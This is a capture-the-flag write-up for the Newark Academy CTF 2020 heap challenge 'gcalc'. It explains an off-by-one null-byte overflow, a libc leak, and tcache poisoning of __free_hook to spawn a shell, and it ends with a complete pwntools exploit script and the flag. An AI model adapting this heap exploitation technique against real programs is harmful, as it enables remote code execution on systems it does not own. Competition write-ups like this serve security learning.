Newark Academy CTF 2020
16 Nov 2020b1c takes third global and first in highschools (We stole Gabe for one algo challenge again).
We also maintained the b1c tradition of dropping from 1st to 3rd due to a single challenge (ahem veggie factory 5 ahem) 🙃
gcalc
Pwn 700, 23 solves
Weighted averaging is too hard, so I made a program to do it for you!
nc challenges.ctfd.io 30253
-asphyxia
This solution takes approx. 2 minutes and 30 seconds to run on remote lol.
We are given three important functions: 1) Add a category 2) Set grades in a category 3) Print report
Each grade category is implemented as a struct. There is a global array of category entry structs, which is below:
There is enough space in the global category array for 16 structs.
Add category
We can see that we can malloc as large a chunk for grades as we want, provided that the size is nonzero. The decompilation spasm at the end is useless, and we can ignore that.
The chunk that we allocate will be set as the chunk_ptr of the next available category struct within the category array.
Set grades
Here, we can set grades in each category. Each byte in a category’s chunk_ptr chunk is a “grade”.
We are given the choice to resize a chunk before adding grades. Note that if read_int() returns a 0, then nothing happens. However, any other number will trigger a call to free the current chunk referenced by the selected category. Then, a new call to malloc is made with the requsted size.
Finally, note line 35, which contains an off by one error. In select cases, we can write into the lowest byte of the size of the next chunk. More on this later.
Print report
This function calculates your final percent grade.
I’m not going to show the decomp for this one because it hurts my head to look at it, and is essentially useless.
The only important function it serves is that it allows us to view each byte of each chunk as a signed integer (a “grade”) as part of its functionality.
Libc Leak
We can leak libc fairly trivially. We can:
- Create a 0x420 sized chunk to go into the unsorted bin
- Create a 0x10 sized chunk to prevent top consolidation
- Set the grade to something different to cause a free() on the unsorted bin chunk
- Create a chunk
- Print report
This creates a chunk to go into the unsorted bin, frees it, allocates from it, and then directly reads it.
Because of how the unsorted bin works, libc pointers are written to the first few bytes of chunks (the fwd
and bk
fields) in the unsorted bin, and aren’t zeroed when allocated. We can abuse this to leak libc on the uninitialized chunk that we allocate.
Arbitrary Write
Recall the off by one in the set grades function. Can we abuse this? Yes!
If we allocate an n sized chunk, we can write n+1 bytes. However, this usually wouldn’t be helpful since the next chunk is further from the end of our write, right? Nooooo.
If we create a chunk size divisible by 8 but not 10, such as 0xf8, we can write into the lowest byte of the next chunk.
Using this, you’d think that I would go and change the size of the next chunk to be very large and do stuff from there. Instead, I’m lazy and just decided to use a null byte like in picoCTF 2019’s Ghost Diary.
We:
- Allocate 7 0xf0 chunks (these will be used to fill tcache later so we can get an unsorted chunk later)
- Allocate a 0xf0 chunk (Call this chunk A)
- Allocate a 0x18 chunk (Call this chunk B)
- Allocate a 0xf0 chunk (Call this chunk C)
- Free all 7 of our first 7 0xf0 chunks using the set_grades function to fill the 0x100 tcache
The last step will put 7 chunks into the 0x100 tcache (0xf0 + 0x10 bytes metadata).
Because of the malloc at the end of the set_grades function, we don’t need to malloc a little chunk after chunk C to prevent top conslidation.
Then, we do the following corruption:
- Free chunk A
- Write to chunk B, forge a chunk, and overflow into chunk C’s
size
parameter with a null byte - Free chunk C
- Free chunk B
Chunk A gets added to the unsorted bin list because the 0x100 tcache is already filled.
Chunk B needs a certain 0x120 size written to the prev_size
field of chunk C (Chunk A’s 0x100 + Chunk B’s 0x20)
Chunk C is freed, causing backwards consolidation with what malloc thinks is just chunk A, but is really chunk A + B.
Finally, chunk B is freed, putting it onto the tcache and setting us up for tcache poisoning.
After that, all we have to do is allocate a chunk from chunk A + B to overwrite the fwd
pointer of the free B chunk.
We can overwrite fwd
with __libc_free_hook
, write system
to it, and free a chunk that has /bin/sh
written to it.
from pwn import *
e = ELF("./gcalc")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = e
context.terminal = ["konsole", "-e"]
p = process([e.path])
p = remote("challenges.ctfd.io", 30253)
context.log_level="debug"
gdb.attach(p, """c""")
def add_cat(weight, amt):
p.sendlineafter(">", "1")
p.sendlineafter(")", str(weight))
p.sendlineafter("?", str(amt))
def set_grades(cat, sz, grades):
p.sendlineafter(">", "2")
p.sendlineafter(")", str(cat))
p.sendlineafter("):", str(sz))
for i in grades:
p.sendlineafter(":", str(i))
def generate():
p.sendlineafter(">", "3")
add_cat(100, 1056) #1
add_cat(100, 20) #2
set_grades(1, 1, [1, 1])
add_cat(100, 6) #3
generate()
p.recvuntil("#3:")
p.recvuntil("Grades: ")
# truly get into the Python spirit
libc.address = u64(''.join(map(lambda x: chr(int(x)) if int(x) >= 0 else chr(int(x)+256), p.recvline().strip().split(", "))).ljust(8, "\x00")) - 4111520 # make sure to calculate two's complement if negative
print("libc address", hex(libc.address))
add_cat(100, 0x3d0) #4
for i in range(7):
add_cat(100, 0xf0) #5, 6, 7, 8, 9, 10, 11
add_cat(100, 0xf0) #12
add_cat(100, 0x18) #13
add_cat(100, 0xf0) #14
for i in range(7):
set_grades(i+5, 0x80, [1 for i in range(0x81)])
set_grades(12, 0x500, [1 for i in range(0x501)])
set_grades(13, 'n', [0x41 for i in range(0x10)] + [0x20, 0x1] + [0x0 for i in range(6)] + [0])
set_grades(14, 0x500, [1 for i in range(0x501)])
#set_grades(13, 'n', [0x1 for i in range(0x19)])
set_grades(13, 0x30, [0x1 for i in range(0x31)])
forge = ""
forge += '\x00'*0xb0
forge += p64(0) + p64(0x69)
forge += p64(libc.sym["__free_hook"])
set_grades(1, 0x170, [ord(i) for i in forge] + [0 for i in range(0x171 - len(forge))])
set_grades(5, 0x10, [1 for i in range(0x11)])
set_grades(6, 0x10, [1 for i in range(0x11)])
set_grades(7, 0x10, [ord(i) for i in p64(libc.sym["system"])] + [0 for i in range(9)])
set_grades(8, 0x10, [ord(i) for i in p64(0x68732f6e69622f)] + [0 for i in range(9)])
p.sendlineafter(">", "2")
p.sendlineafter(")", "8")
p.sendlineafter("):", "32")
p.interactive()
Flag: nactf{0n3_byt3_ch40s_l34d5_t0_h34p_c3rn4g3_PP0SvwNV44uwRSbm}